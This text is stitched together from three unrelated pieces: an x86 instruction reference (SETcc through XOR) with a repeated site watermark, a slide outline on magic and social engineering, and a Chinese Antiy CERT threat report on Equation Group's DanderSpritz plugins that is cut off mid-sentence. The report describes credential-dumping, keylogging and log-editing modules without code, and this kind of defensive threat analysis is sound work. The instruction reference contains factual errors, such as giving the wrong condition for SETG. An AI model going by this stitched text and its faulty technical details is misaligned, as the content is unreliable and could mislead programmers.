(W88=19) SETAE/SETNB - Set if Above or Equal / Set if Not Below (386+) Usage: SETAE dest SETNB dest (unsigned, 386+) Modifies flags: none Sets the byte in the operand to 1 if the Carry Flag is clear otherwise sets the operand to 0. Clocks Size Operands 808x 286 386 486 Bytes reg8 - - 4 3 3 网络安全屋 mem8 - - 5 4 3 SETB/SETNAE - Set if Below / Set if Not Above or Equal (386+) Usage: SETB dest SETNAE dest (unsigned, 386+) Modifies flags: none Sets the byte in the operand to 1 if the Carry Flag is set otherwise sets the operand to 0. Clocks Size Operands 808x 286 386 486 Bytes reg8 - - 4 3 3 mem8 - - 5 4 3 SETBE/SETNA - Set if Below or Equal / Set if Not Above (386+) Usage: SETBE dest SETNA dest (unsigned, 386+) Modifies flags: none Sets the byte in the operand to 1 if the Carry Flag or the Zero Flag is set, otherwise sets the operand to 0. Clocks Size Operands 808x 286 386 486 Bytes reg8 - - 4 3 3 mem8 - - 5 4 3 SETE/SETZ - Set if Equal / Set if Zero (386+) Usage: SETE dest SETZ dest Modifies flags: none Sets the byte in the operand to 1 if the Zero Flag is set, otherwise sets the operand to 0. Clocks Size Operands 808x 286 386 486 Bytes reg8 - - 4 3 3 mem8 - - 5 4 3 网络安全屋 SETNE/SETNZ - Set if Not Equal / Set if Not Zero (386+) Usage: SETNE dest SETNZ dest Modifies flags: none Sets the byte in the operand to 1 if the Zero Flag is clear, otherwise sets the operand to 0. Clocks Size Operands 808x 286 386 486 Bytes reg8 - - 4 3 3 mem8 - - 5 4 3 SETL/SETNGE - Set if Less / Set if Not Greater or Equal (386+) Usage: SETL dest SETNGE dest (signed, 386+) Modifies flags: none Sets the byte in the operand to 1 if the Sign Flag is not equal to the Overflow Flag, otherwise sets the operand to 0. Clocks Size Operands 808x 286 386 486 Bytes reg8 - - 4 3 3 mem8 - - 5 4 3 SETGE/SETNL - Set if Greater or Equal / Set if Not Less (386+) Usage: SETGE dest SETNL dest (signed, 386+) Modifies flags: none Sets the byte in the operand to 1 if the Sign Flag equals the Overflow Flag, otherwise sets the operand to 0. Clocks Size Operands 808x 286 386 486 Bytes reg8 - - 4 3 3 mem8 - - 5 4 3 网络安全屋 SETLE/SETNG - Set if Less or Equal / Set if Not greater or Equal (386+) Usage: SETLE dest SETNG dest (signed, 386+) Modifies flags: none Sets the byte in the operand to 1 if the Zero Flag is set or the Sign Flag is not equal to the Overflow Flag, otherwise sets the operand to 0. Clocks Size Operands 808x 286 386 486 Bytes reg8 - - 4 3 3 mem8 - - 5 4 3 SETG/SETNLE - Set if Greater / Set if Not Less or Equal (386+) Usage: SETG dest SETNLE dest (signed, 386+) Modifies flags: none Sets the byte in the operand to 1 if the Zero Flag is clear or the Sign Flag equals to the Overflow Flag, otherwise sets the operand to 0. Clocks Size Operands 808x 286 386 486 Bytes reg8 - - 4 3 3 mem8 - - 5 4 3 SETS - Set if Signed (386+) Usage: SETS dest Modifies flags: none Sets the byte in the operand to 1 if the Sign Flag is set, otherwise sets the operand to 0. Clocks Size Operands 808x 286 386 486 Bytes reg8 - - 4 3 3 mem8 - - 5 4 3 SETNS - Set if Not Signed (386+) 网络安全屋 Usage: SETNS dest Modifies flags: none Sets the byte in the operand to 1 if the Sign Flag is clear, otherwise sets the operand to 0. Clocks Size Operands 808x 286 386 486 Bytes reg8 - - 4 3 3 mem8 - - 5 4 3 SETC - Set if Carry (386+) Usage: SETC dest Modifies flags: none Sets the byte in the operand to 1 if the Carry Flag is set, otherwise sets the operand to 0. Clocks Size Operands 808x 286 386 486 Bytes reg8 - - 4 3 3 mem8 - - 5 4 3 SETNC - Set if Not Carry (386+) Usage: SETNC dest Modifies flags: none Sets the byte in the operand to 1 if the Carry Flag is clear, otherwise sets the operand to 0. Clocks Size Operands 808x 286 386 486 Bytes reg8 - - 4 3 3 mem8 - - 5 4 3 SETO - Set if Overflow (386+) Usage: SETO dest Modifies flags: none Sets the byte in the operand to 1 if the Overflow Flag is set, otherwise sets the operand to 0. 网络安全屋 Clocks Size Operands 808x 286 386 486 Bytes reg8 - - 4 3 3 mem8 - - 5 4 3 SETNO - Set if Not Overflow (386+) Usage: SETNO dest Modifies flags: none Sets the byte in the operand to 1 if the Overflow Flag is clear, otherwise sets the operand to 0. Clocks Size Operands 808x 286 386 486 Bytes reg8 - - 4 3 3 mem8 - - 5 4 3 SETP/SETPE - Set if Parity / Set if Parity Even (386+) Usage: SETP dest SETPE dest Modifies flags: none Sets the byte in the operand to 1 if the Parity Flag is set, otherwise sets the operand to 0. Clocks Size Operands 808x 286 386 486 Bytes reg8 - - 4 3 3 mem8 - - 5 4 3 SETNP/SETPO - Set if No Parity / Set if Parity Odd (386+) Usage: SETNP dest SETPO dest Modifies flags: none Sets the byte in the operand to 1 if the Parity Flag is clear, otherwise sets the operand to 0. Clocks Size Operands 808x 286 386 486 Bytes reg8 - - 4 3 3 mem8 - - 5 4 3 网络安全屋 SGDT - Store Global Descriptor Table (286+ privileged) Usage: SGDT dest Modifies flags: none Stores the Global Descriptor Table (GDT) Register into the specified operand. Clocks Size Operands 808x 286 386 486 Bytes mem64 - 11 9 10 5 SIDT - Store Interrupt Descriptor Table (286+ privileged) Usage: SIDT dest Modifies flags: none Stores the Interrupt Descriptor Table (IDT) Register into the specified operand. Clocks Size Operands 808x 286 386 486 Bytes mem64 - 12 9 10 5 SHL - Shift Logical Left See: SAL SHR - Shift Logical Right Usage: SHR dest,count Modifies flags: CF OF PF SF ZF (AF undefined) +-+ +---------------+ +-+ |0|---+>|7 ----------> 0|---+>|C| +-+ +---------------+ +-+ Shifts the destination right by "count" bits with zeroes shifted in on the left. The Carry Flag contains the last bit shifted out. Clocks Size Operands 808x 286 386 486 Bytes reg,1 2 2 3 2 网络安全屋 mem,1 15+EA 7 7 2-4 (W88=23+EA) reg,CL 8+4n 5+n 3 2 mem,CL 20+EA+4n 8+n 7 2-4 (W88=28+EA+4n) reg,immed8 - 5+n 3 3 mem,immed8 - 8+n 7 3-5 SHLD/SHRD - Double Precision Shift (386+) Usage: SHLD dest,src,count SHRD dest,src,count Modifies flags: CF PF SF ZF (OF,AF undefined) SHLD shifts "dest" to the left "count" times and the bit positions opened are filled with the most significant bits of "src". SHRD shifts "dest" to the right "count" times and the bit positions opened are filled with the least significant bits of the second operand. Only the 5 lower bits of "count" are used. Clocks Size Operands 808x 286 386 486 Bytes reg16,reg16,immed8 - - 3 2 4 reg32,reg32,immed8 - - 3 2 4 mem16,reg16,immed8 - - 7 3 6 mem32,reg32,immed8 - - 7 3 6 reg16,reg16,CL - - 3 3 3 reg32,reg32,CL - - 3 3 3 mem16,reg16,CL - - 7 4 5 mem32,reg32,CL - - 7 4 5 SLDT - Store Local Descriptor Table (286+ privileged) Usage: SLDT dest Modifies flags: none Stores the Local Descriptor Table (LDT) Register into the specified operand. Clocks Size Operands 808x 286 386 486 Bytes reg16 - 2 2 2 3 mem16 - 2 2 3 5 SMSW - Store Machine Status Word (286+ privileged) Usage: SMSW dest Modifies flags: none Store Machine Status Word (MSW) into "dest". Clocks Size Operands 808x 286 386 486 Bytes 网络安全屋 reg16 - 2 10 2 3 mem16 - 3 3 3 5 STC - Set Carry Usage: STC Modifies flags: CF Sets the Carry Flag to 1. Clocks Size Operands 808x 286 386 486 Bytes none 2 2 2 2 1 STD - Set Direction Flag Usage: STD Modifies flags: DF Sets the Direction Flag to 1 causing string instructions to auto- decrement SI and DI instead of auto-increment. Clocks Size Operands 808x 286 386 486 Bytes none 2 2 2 2 1 STI - Set Interrupt Flag (Enable Interrupts) Usage: STI Modifies flags: IF Sets the Interrupt Flag to 1, which enables recognition of all hardware interrupts. If an interrupt is generated by a hardware device, an End of Interrupt (EOI) must also be issued to enable other hardware interrupts of the same or lower priority. Clocks Size Operands 808x 286 386 486 Bytes none 2 2 2 5 1 STOS - Store String (Byte, Word or Doubleword) Usage: STOS dest STOSB 网络安全屋 STOSW STOSD Modifies flags: None Stores value in accumulator to location at ES:(E)DI (even if operand is given). (E)DI is incremented/decremented based on the size of the operand (or instruction format) and the state of the Direction Flag. Use with REP prefixes. Clocks Size Operands 808x 286 386 486 Bytes dest 11 3 4 5 1 (W88=15) STR - Store Task Register (286+ privileged) Usage: STR dest Modifies flags: None Stores the current Task Register to the specified operand. Clocks Size Operands 808x 286 386 486 Bytes reg16 - 2 2 2 3 mem16 - 3 2 3 5 SUB - Subtract Usage: SUB dest,src Modifies flags: AF CF OF PF SF ZF The source is subtracted from the destination and the result is stored in the destination. Clocks Size Operands 808x 286 386 486 Bytes reg,reg 3 2 2 1 2 mem,reg 16+EA 7 6 3 2-4 (W88=24+EA) reg,mem 9+EA 7 7 2 2-4 (W88=13+EA) reg,immed 4 3 2 1 3-4 mem,immed 17+EA 7 7 3 3-6 (W88=25+EA) accum,immed 4 3 2 1 2-3 TEST - Test For Bit Pattern Usage: TEST dest,src Modifies flags: CF OF PF SF ZF (AF undefined) 网络安全屋 Performs a logical AND of the two operands updating the flags register without saving the result. Clocks Size Operands 808x 286 386 486 Bytes reg,reg 3 2 1 1 2 reg,mem 9+EA 6 5 1 2-4 (W88=13+EA) mem,reg 9+EA 6 5 2 2-4 (W88=13+EA) reg,immed 5 3 2 1 3-4 mem,immed 11+EA 6 5 2 3-6 accum,immed 4 3 2 1 2-3 VERR - Verify Read (286+ protected) Usage: VERR src Modifies flags: ZF Verifies the specified segment selector is valid and is readable at the current privilege level. If the segment is readable, the Zero Flag is set, otherwise it is cleared. Clocks Size Operands 808x 286 386 486 Bytes reg16 - 14 10 11 3 mem16 - 16 11 11 5 VERW - Verify Write (286+ protected) Usage: VERW src Modifies flags: ZF Verifies the specified segment selector is valid and is ratable at the current privilege level. If the segment is writable, the Zero Flag is set, otherwise it is cleared. Clocks Size Operands 808x 286 386 486 Bytes reg16 - 14 15 11 3 mem16 - 16 16 11 5 WAIT/FWAIT - Event Wait Usage: WAIT FWAIT Modifies flags: None CPU enters wait state until the coprocessor signals it has finished its operation. This instruction is used to prevent the CPU from accessing 网络安全屋 memory that may be temporarily in use by the coprocessor. WAIT and FWAIT are identical. Clocks Size Operands 808x 286 386 486 Bytes none 4 3 6+ 1-3 1 WBINVD - Write-Back and Invalidate Cache (486+) Usage: WBINVD Modifies flags: None Flushes internal cache, then signals the external cache to write back current data followed by a signal to flush the external cache. Clocks Size Operands 808x 286 386 486 Bytes none - - - 5 2 XCHG - Exchange Usage: XCHG dest,src Modifies flags: None Exchanges contents of source and destination. Clocks Size Operands 808x 286 386 486 Bytes reg,reg 4 3 3 3 2 mem,reg 17+EA 5 5 5 2-4 (W88=25+EA) reg,mem 17+EA 5 5 3 2-4 (W88=25+EA) accum,reg 3 3 3 3 1 reg,accum 3 3 3 3 1 XLAT/XLATB - Translate Usage: XLAT translation-table XLATB (masm 5.x) Modifies flags: None Replaces the byte in AL with byte from a user table addressed by BX. The original value of AL is the index into the translate table. The best way to discripe this is MOV AL,[BX+AL] Clocks Size Operands 808x 286 386 486 Bytes 网络安全屋 table offset 11 5 5 4 1 XOR - Exclusive OR Usage: XOR dest,src Modifies flags: CF OF PF SF ZF (AF undefined) Performs a bitwise exclusive OR of the operands and returns the result in the destination. Clocks Size Operands 808x 286 386 486 Bytes reg,reg 3 2 2 1 2 mem,reg 16+EA 7 6 3 2-4 (W88=24+EA) reg,mem 9+EA 7 7 2 2-4 (W88=13+EA) reg,immed 4 3 2 1 3-4 mem,immed 17+EA 7 7 3 3-6 (W88=25+EA) accum,immed 4 3 2 1 2-3
pdf
Sleight of Mind Magic and Social Engineering Mike Murray Tyler Reguly 1 A DANGEROUS OPENER Credit: Luke Jermay 2 EXPLANATION 3 THE FORCE IS WITH YOU 4 EXPLANATION 5 COIN BENDING Credit: Luke Jermay 6 EXPLANATION 7 EQUIVOQUE Credit: Luke Jermay 8 EXPLANATION 9 IN THE CARDS 10 EXPLANATION 11 RGM Credit: Luke Jermay 12 EXPLANATION 13 QUESTIONS? Email Us: mmurray@episteme.ca ht@computerdefense.org 14
pdf
报告初稿完成时间:2017 年 1 月 13 日 16 时 00 分 首次发布时间:2017 年 1 月 16 日 10 时 00 分 本版本更新时间:2017 年 1 月 25 日 14 时 30 分 方程式组织 EQUATION DRUG 平台解析 ——方程式组织系列分析报告之四 安天安全研究与应急处理中心(Antiy CERT) 目 录 1 本版本更新小语 ................................................................................................................................................... 1 2 背景...................................................................................................................................................................... 1 3 方程式线索曝光和分析成果时间链梳理 ............................................................................................................. 2 4 DANDERSPRITZ 攻击平台 ..................................................................................................................................... 4 5 部分组件与插件分析(继续完善中)................................................................................................................ 11 5.1 PROCESSINFO 插件遍历进程模块 ........................................................................................................................ 13 5.2 KILL_IMPLANT 插件杀进程模块 ........................................................................................................................... 16 5.3 GROK 键盘与剪贴版记录器驱动 ..................................................................................................................... 16 6 小结..................................................................................................................................................................... 20 附录一:参考资料 ...................................................................................................................................................... 22 附录二:关于安天 ...................................................................................................................................................... 24 方程式组织 EQUATION DRUG 平台解析 ©安天版权所有,欢迎无损转载 第 1 页 1 本版本更新小语 安天在此前发布的报告版本的基础上,增加了一个方程式组织主机作业的模块积木图。这个积木图初 步展示了一个将主机情报作业按照“原子化”拆分的模块组合的拼装,在本版本中安天 CERT 也细化了对 部分模块的分析,尽管目前的分析只覆盖这些模块的一少部分。 在数天前,安天 CERT 把这份暂时称为“提纲”的未完成分析结果发布出来,这并非因为我们期望“速 战速决”,而草率地发布一点粗浅的进展,而是我们需要获得更多的建议和批判。所幸的是,在上一版本发 布后,获得了业内专家中肯而尖锐的批评,让安天认识到,在面对这组 2007~2008 年的攻击模块集合时, 分析小组再次出现了和当年分析“火焰”时一样的迷茫(尽管安天曾经一度以为自己比那时更清晰)。这些 庞杂的模块展开了一组拼图碎片,每一张图上都是有意义的图案,但如果逐一跟进进去,这些图案就会组 成一个巨大的迷宫。迷宫之所以让人迷惑,不在于其处处是死路,而在于其看起来处处有出口,但所有的 砖块都不能给进入者以足够的提示。此时,最大的期待,不只是有一只笔,可以在走过的地方做出标记, 而是插上双翼凌空飞起,俯瞰迷宫的全貌。当然这是一种提升分析方法论的自我期待,我辈当下虽身无双 翼,但或可练就一点灵犀。 目前安天的积木还原工作还刚刚起步,对于能够在中国的传统节日春节前,发布出分析报告的新版本, 安天还是有些许欣慰的。网络安全注定是一个需要永远保持警惕和勤奋的行业,我们的分析工作会持续进 行下去,即使是在焰火升腾,鞭炮响起的时刻,依然需要有紧盯反汇编代码和威胁态势的眼睛。 感谢业内专家同仁对安天的关注和支持,感谢安天客户对安天产品与服务的信任,祝大家新春快乐! 2 背景 对于方程式组织,在过去的两年中,安天已经连续发布了三篇分析报告:在《修改硬盘固件的木马— —探索方程式(EQUATION)组织的攻击组件》[1]中,安天对多个模块进行了分析,并对其写入硬盘固件的 机理进行了分析验证;在《方程式(EQUATION)部分组件中的加密技巧分析》[2]报告中,对攻击组件中使 用的加密方式实现了破解;在《从“方程式”到“方程组”——EQUATION 攻击组织高级恶意代码的全平 台能力解析》[3]报告中,安天独家提供了方程式在 Linux 和 Solaris 系统的样本分析,这也是业内首次正式 证实这些“恶灵”真实存在的公开分析。 APT 的分析成果,与研发反 APT 产品一样,都要基于充分的基础积累,而不可能“一夜之间建成罗马”。 对于方程式这样大至无形的超级攻击组织来说,安天过去所做的具体的分析工作都是盲人摸象的过程,一 旦飘忽的线索落入安天已经摸索过的范围之内,就可以迅速发布储备成果,而如果面对的是一个未曾充分 方程式组织 EQUATION DRUG 平台解析 第 2 页 ©安天 版权所有,欢迎无损转载 探查的区域,则需要更长的时间展开分析工作,因此与安天此前已经发布的三篇方程式的长篇报告相比, 本篇报告目前的版本依然是比较仓促的,因此安天会坚持称之为“提纲”,旨在能抛砖引玉,邀请更多兄弟 团队共同加入分析工作,以便进一步呈现出其全貌。 本篇展现的分析工作是围绕 2017 年 1 月 12 日“影子经纪人”放出 Equation Group 组件中的 61 个文件 [4]而展开的。经分析,在本次放出的 61 个文件中,其中含有 Equation Group 组件和 DanderSpritZ(RAT)工 具中的一些插件。DanderSpritZ 是 NSA(NationalSecurityAgency)的间谍工具之一,在 1 月 7 号“影子经纪 人”放出的 Windows 攻击工具[5]中也包含了大量 DanderSpritZ 的插件名称。 组件 EquationDrug 是一个很复杂的模块,其存活时间有近 10 年,后来被 GrayFish 升级替代。从 EquationDrug 到 GrayFish 是攻击平台级别的恶意代码体系,具有安装与卸载插件功能。在本次“影子经纪 人”放出的文件中,安天 CERT 看到了更多的 EquationDrug 组件中的插件。通过分析比对发现,这些插件 比之前安天分析过的插件版本低,但其中包含了一些此前未曾被业内捕获到的模块。 3 方程式线索曝光和分析成果时间链梳理 从 2013 年起,安天从样本分析中,逐步发现存在一个拥有全平台载荷攻击能力的攻击组织,并逐步关 联分析了其多个平台的样本。在这个过程中,安天感到一个大至无形的超级攻击组织的存在,但并未找到 其攻击背景。 2015 年 2 月,卡巴斯基实验室曝光了一个名为方程式(Equation Group)[6]的攻击组织,引发了全球关 注,卡巴斯基认为该组织已活跃近 20 年,可能是目前世界上存在的最复杂的 APT 攻击组织之一,并认为该 组织是震网(Stuxnet)和火焰(Flame)病毒幕后的操纵者。经过线索比对,安天发现这正是此前一直跟踪 的超级攻击组织,决定通过报告公开其针对硬盘固件作业的原理[1]和已破解的其部分加密算法[2],形成了安 天对于方程式系列分析的前两篇报告。 2015 年 3 月,卡巴斯基实验室发布了基于 Equation Drug 组件或平台的剖析[7],Equation Drug 是方程式 组织所用的主要间谍组件或平台之一,最早可追溯到 2001 年,并且一直沿用至今。该组件或平台的架构类 似于一个具有内核模式和用户模式的微型操作系统,通过自定义接口进行交互。该组件或平台包括驱动程 序、平台内核(协调器)和若干插件,其中一些插件配备独特的 ID 和版本号,用于定义相关功能等。 2016 年 8 月,一个自称“影子经纪人”(The Shadow Brokers)的个人(或组织)声称入侵了网络间谍 组织方程式(Equation)[8],并以 100 万比特币(当时约价值为 5.6 亿美元)的价格,公开“拍卖”所掌握 的方程式组织的攻击工具,方程式组织被认为与 NSA 存在联系。为证明成功入侵的真实性,“影子经纪人” 方程式组织 EQUATION DRUG 平台解析 ©安天版权所有,欢迎无损转载 第 3 页 于当月 13 日在开源项目托管平台 GitHub 加密发布了这些攻击工具,并有意将其中的少量攻击工具以明文 形式发布。 2016 年 8 月,卡巴斯基实验室通过对方程式组织与“影子经纪人”曝光的数据进行对比验证[9],确认 了曝光的数据与方程式组织有关。2016 年 10 月, “影子经纪人”对攻击工具再度发起拍卖[10],并称在 GitHub 发布的方程式攻击工具只占其掌握的 60%。 2016 年 11 月,“影子经纪人”公开了一份遭受入侵的服务器清单[11],并称攻击方与 NSA 有关。清单的 日期显示,各系统遭受入侵的时间是在 2000 年到 2010 年之间,受控 IP 及域名分布在 49 个国家,主要集中 在亚太地区,受影响的国家包括中国、日本、韩国、西班牙、德国、印度等。安天将这些数据导入到安天 态势感知和预警平台,形成了下图的可视化展现。 在“影子经纪人”的爆料中,提及的相关服务器可能是 Linux、FreeBSD 和 Solaris。而在 2016 年上半 年的两次技术会议中,安天则明确说明,方程式有针对多个系统平台的样本,其中包括 Linux 和 Solaris。 安天最终于 2016 年 11 月 5 日公开了方程式组织针对 Linux 和 Solaris 的部分样本载荷的分析报告(安天方 程式系列报告之三)[3]。 图 3-1 安天态势感知与监控预警平台:方程式组织对全球互联网节点的入侵可视化复现 安天分析团队小组对方程式的上述信息进行了梳理,整理出方程式事件曝光和相关分析的时间链。 方程式组织 EQUATION DRUG 平台解析 第 4 页 ©安天 版权所有,欢迎无损转载 2015年1月1日 2017年2月1日 2016年8月13日 影子经纪人 公开方程式组织的攻击工具(拍卖) 2016年10月16日 影子经纪人 取消拍卖 2017年1月12日 影子经纪人 公开EquationDrug平台样本 2015年4月16日 安天 《方程式(EQUATION)部分组件中的加密技巧分析》 2015年2月19日 卡巴斯基 《Equation Group: from Houston with love》 2015年3月11日 卡巴斯基 《Inside the EquationDrug Espionage Platform》 2016年11月4日 安天 《从“方程式”到“方程组”EQUATION攻击组织高级恶意代码的全平台能力解析》 2015年2月16日 卡巴斯基 《Equation: The Death Star of Malware Galaxy》 2015年2月17日 卡巴斯基 《A Fanny Equation: “I am your father, Stuxnet”》 《Equation Group: Questions and answers》 2016年10月31日 影子经纪人 NSA攻击的服务器列表 2016年8月16日 卡巴斯基 《The Equation giveaway》 2015年3月5日 安天 《修改硬盘固件的木马探索方程式(EQUATION)组织的攻击组件》 2017年1月7日 影子经纪人 出售“Windows黑客工具” 图 3-2 方程式事件相关信息曝光和厂商分析的时间链 4 DanderSpritz 攻击平台 安天通过对本次泄露的文件以及对以往方程式资料的分析发现,方程式组织的“EquationDrug”平台与 泄露文件中提到的“DanderSpritz”具有一定内在联系: 1. 本次泄露的 msgkd.ex_、msgki.ex_、msgks.ex_、msgku.ex_为 GROK 插件,是“DanderSpritz”的 插件或模块,该插件在“EquationDrug”平台中也曾出现,通过分析发现本次泄露的 GROK 为低 版本 GROK 插件。 2. 本次曝光的各类DLL插件中的一处数据为插件ID,插件ID都是以0x79开头,如:0x79A4、0x79D8, 同样,“EquationDrug”平台的插件也设有内置 ID,“EquationDrug”平台的插件 ID 为 0x80 开头, 且两个平台的插件导出函数参数的数据结构也存在相似之处。 因此,基本可以认为方程式组织使用的“EquationDrug”攻击平台与“DanderSpritz”使用了相同的架 构设计,两者可能是不同的版本代号,或至少来自同一开发团队或资源高度共享的团队。 方程式组织 EQUATION DRUG 平台解析 ©安天版权所有,欢迎无损转载 第 5 页 图 4-1 方程式组织的 DanderSpritz 攻击平台 图 4-2“影子经纪人”泄露的“DanderSpritz”攻击平台截图 本次“影子经纪人”所曝光的文件中多数为“DanderSpritz”平台的攻击插件,一是文件列表,二是 61 个部分插件实体文件。从放出的文件列表 HASH 和截图来看,攻击工具和插件非常丰富且标准化,具体包 括远控、漏洞利用、后门、插件等。DanderSpritz_All_Find.txt 文件内容多达 7 千余行,其中插件有数百个 之多。对泄露出来的 61 个文件进行分析梳理,根据样本中的一些信息推断,这 61 个样本应该属于两类: 测试版本与发布版本。测试版本中含有一些明文信息,并没有进行加密处理,使用了常规的函数调用方式, 而在发布版本中这些信息并不存在,函数调用方式也改为动态调用,更加隐蔽。从时间戳上来看,测试版 本的生成时间比发布版本要早 5 秒左右。测试版本是不应用于实际攻击中的,从侧面也再次证实了这些文 件是被从开发和保管场景窃取出来的,而不是在攻击中捕获到的。 方程式组织 EQUATION DRUG 平台解析 第 6 页 ©安天 版权所有,欢迎无损转载 表 4-1 泄露实体文件的部分插件功能列表 测试版本 发布版本 功能 DoubleFeatureDll.dll.unfinalized 该模块用于创建线程执行函数,地址由调用者传入。同时, 内部还有 SHA256、AES、CRC32 等算法。 DuplicateToken_Lp.dll DuplicateToken_Implant.dll 该模块用于获取 Token,并执行操作。 DXGHLP16.SYS 该模块用于网络嗅探监测以太网和VPN的流量,用于Windows 9x 系统。 EventLogEdit_Lp.dll EventLogEdit_Implant.dll 该模块可对事件日志文件进行编辑。 GetAdmin_Lp.dll GetAdmin_Implant.dll 该模块用于获取管理员权限,并执行操作。 kill_Implant.dll 该模块功能是结束进程,传入参数中有要结束进程的 ID,该 功能的实现使用了常规的系统函数,如:OpenProcess、 TerminateProcess。 kill_Implant9x.dll 该模块功能与 kill_Implant.dll 相同,是针对 64 位系统的版本。 LSADUMP_Lp.dll LSADUMP_Implant.dll 该模块可用来读取 LSA 凭据,根据传入参数的不同执行不同 的操作。 modifyAudit_Lp.dll modifyAudit_Implant.dll 该模块用于修改审核配置。 modifyAuthentication_Lp.dll modifyAuthentication_Implant.dll 该模块用于修改权限认证。 ModifyGroup_Lp.dll ModifyGroup_Implant.dll 该模块用于修改用户组权限。 ModifyPrivilege_Lp.dll ModifyPrivilege_Implant.dll 该模块用于修改用户权限。 msgkd.ex_ 释放 GROK 键盘/剪贴板记录器驱动。 msgki.ex_ msgks.ex_ msgku.ex_ mstcp32.sys 该模块用于网络嗅探监测以太网和 VPN 的流量。 nethide_Lp.dll nethide_Implant.dll 该模块用于隐藏网络连接。 ntevt.sys 该模块是事件日志相关驱动。 ntevtx64.sys 该模块功能与 ntevt.sys 相同,是针对 64 位系统的版本。 PortMap_Lp.dll PortMap_Implant.dll 该模块进行端口映射。 ProcessHide_Lp.dll ProcessHide_Implant.dll 该模块可以进行隐藏进程,恢复隐藏的进程,根据传入参数 的不同执行不同的操作。 processinfo_Implant.dll 该模块可以用来获取进程信息。 processinfo_Implant9x.dll 该模块功能与 processinfo_Implant.dll 相同,是针对 64 位系统 的版本。 ProcessOptions_Lp.dll ProcessOptions_Implant.dll 该模块用于设定进程执行属性。 pwdump_Lp.dll pwdump_Implant.dll 该模块可用来读取系统中密码,根据传入参数的不同执行不 同的操作。 RunAsChild_Lp.dll RunAsChild_Implant.dll 该模块用于创建子进程,并执行操作。 tdi6.sys 该模块用于网络嗅探监测以太网和 VPN 的流量。 PassFreely_LP.dll PassFreely_Implant.dll 正在分析中 … 方程式组织 EQUATION DRUG 平台解析 ©安天版权所有,欢迎无损转载 第 7 页 表 4-2 仅泄露文件名的部分插件功能猜测 测试版本 发布版本 猜测功能 Users_Lp.dll Users_Implant.dll 查看当前用户列表 GroupUsers_Lp.dll GroupUsers_Implant.dll 修改指定用户所在组 nc.exe nc 网络工具 ProcessCheck_Lp.dll ProcessCheck_Implant.dll 检测指定进程 machineinfo_LP.dll machineinfo_Implant.dll 获取主机相关信息 IpConfig_LP.dll IpConfig_Implant.dll IP 信息获取 FileAttribs_LP.dll FileAttribs_Implant.dll 文件属性获取 NetstatMon_LP.dll NetstatMon_Implant.dll 网络状态获取 Dns_LP.dll Dns_Implant.dll DNS 设置获取 language_LP.dll language_Implant.dll 语言信息获取 Environment_LP.dll Environment_Implant.dll 环境变量信息获取 CheckMouse_LP.dll CheckMouse_Implant.dll 鼠标相关检测 CheckKeyboard_LP.dll CheckKeyboard_Implant.dll 键盘相关检测 NetBios_LP.dll NetBios_Implant.dll 网络共享查看 NetGetDCName_LP.dll NetGetDCName_Implant.dll 网络主机名获取 Scheduler_LP.dll Scheduler_Implant.dll 计划任务设置 AdUser_LP.dll AdUser_Implant.dll 添加账户 ArpScan_LP.dll ArpScan_Implant.dll ARP 扫描 PacketRedirect_LP.dll PacketRedirect_Implant.dll 数据包重定向 PacketScan_LP.dll PacketScan_Implant.dll 数据包扫描 RegKeys_LP.dll RegKeys_Implant.dll 注册表操作 RegQuery_LP.dll RegQuery_Implant.dll 注册表键值内容获取 procMon _LP.dll procMon_Implant.dll 进程监控 RemoteExecute_LP.dll RemoteExecute_Implant.dll 远程执行文件 安天 CERT 根据分析出的部分实体文件功能和文件列表进行梳理,再加上之前卡巴斯基[7]和安天[1]对方 程式插件的分析,整理了这些功能插件在攻击过程中可能形成的组合,并绘制了“方程式组织主机作业模 块积木图”。从图中可以看出攻击者通过对这些插件进行组合来完成相应的功能,这些插件体现了如下架构 风格——不编写功能高度复杂的单一木马,而是把功能拆解成高度独立的小模块,这种拆解的粒度,几乎 到了“原子化”的程度,即使简单如获取系统信息的操作,也把类似获取环境变量、语言集、网络状态等 都作为一个独立的小模块,这将保证系统作业可以完全按需展开,从而最大化的保证作业的谨慎和静默。 从对主机安全环境的逃逸和对抗来看,这批插件的编译时间为 2007 年,从反病毒技术发展上来看,正是主 机主动防御技术走入成熟的阶段。主动防御技术普遍采用行为加权的思路对未知文件进行判定,但这些完 成这种“原子”操作的模块,是不会累加到阈值的。这种单独功能片段不仅在当时的情况下很难被发现, 即使从现代的动静态检测角度上来看也很难被发现。每个单独功能片段不具任何明显的恶意功能,只有总 调度平台将各功能插件协调使用才会组合出各种作业能力。这种作业方式,也会导致安全厂商很难获取到 方程式组织 EQUATION DRUG 平台解析 第 8 页 ©安天 版权所有,欢迎无损转载 完整的模块,而在没有有效 Loader 的情况下,这些模块很难在沙箱中被加载起来,从而也很难有效地进行 行为分析,其比那些探测虚拟环境从而拒绝执行的木马更难以分析。 从文件名上来看,这些模块的功能规划得非常清晰。当然在实际作业中,这些 DLL 可能会以其他的一 些形态表现出来,其中包括可能使用窃取的数字证书进行签名。在这种情况下,部分驱动文件的 Version 信 息预计也会被定制为对应的数字证书信息,其使用的文件名,可能与其伪装的系统或应用的风格一致,或 者使用类似震网[12]、毒曲[13]和火焰[14]中使用的伪装成预编译或者临时文件的技巧。 表 4-3 系列 A2PT 行动中样本使用的数字签名和场景中的文件命名风格 A2PT 事件 使用过的签名信息 命名规律 Stuxnet JMicron Technology Corp 仿冒系统文件如:MRxCls.sys,S7HKIMDX.DLL,comspol32.ocx;按 照 Windows 命名规律伪装成 oem、和 mdm 开头的 pnf 预编译文件; 伪装成临时文件。 Realtek Semiconductor Corp Flame 亚洲诚信数字签名测试 证书 仿冒系统文件名,如:MSSECMGR.OCX,icsvntu32.ocx,FRAGWIZ. OCX Duqu HON HAI PRECISION INDUSTRY CO. LTD 仿冒系统文件名,如:adpu321.sys,igdkmd16b.sys,iaStor451.sys C-Media Electronics Incorporation Equation 尚未发现 仿冒系统文件名,如:mstcp32.sys,DXGHLP16.SYS,tdi6.sys;伪装 成 Dat 文件。 当然,这些模块也可能是以采用文件不落地的方式进行投放的,其直接运行在内存中,而没有相应的 文件实体。 方程式组织 EQUATION DRUG 平台解析 ©安天版权所有,欢迎无损转载 第 9 页 图 4-3 方程式组织主机作业模块积木图 “DanderSpritz”一词在“棱镜”事件中曾被曝光,在 ANT 中的“FIREWALK”[16]工具中也提及到了 DNT 的“DanderSpritz”,DNT 与 ANT 同属于 NSA 的网络组织。类似这种攻击装备可被用于多种作业场景, 方程式组织 EQUATION DRUG 平台解析 第 10 页 ©安天 版权所有,欢迎无损转载 通过“FIREWALK”[16]工具的网络流量采集和注入使得受害主机与攻击者的远程控制中心建立联系,使得 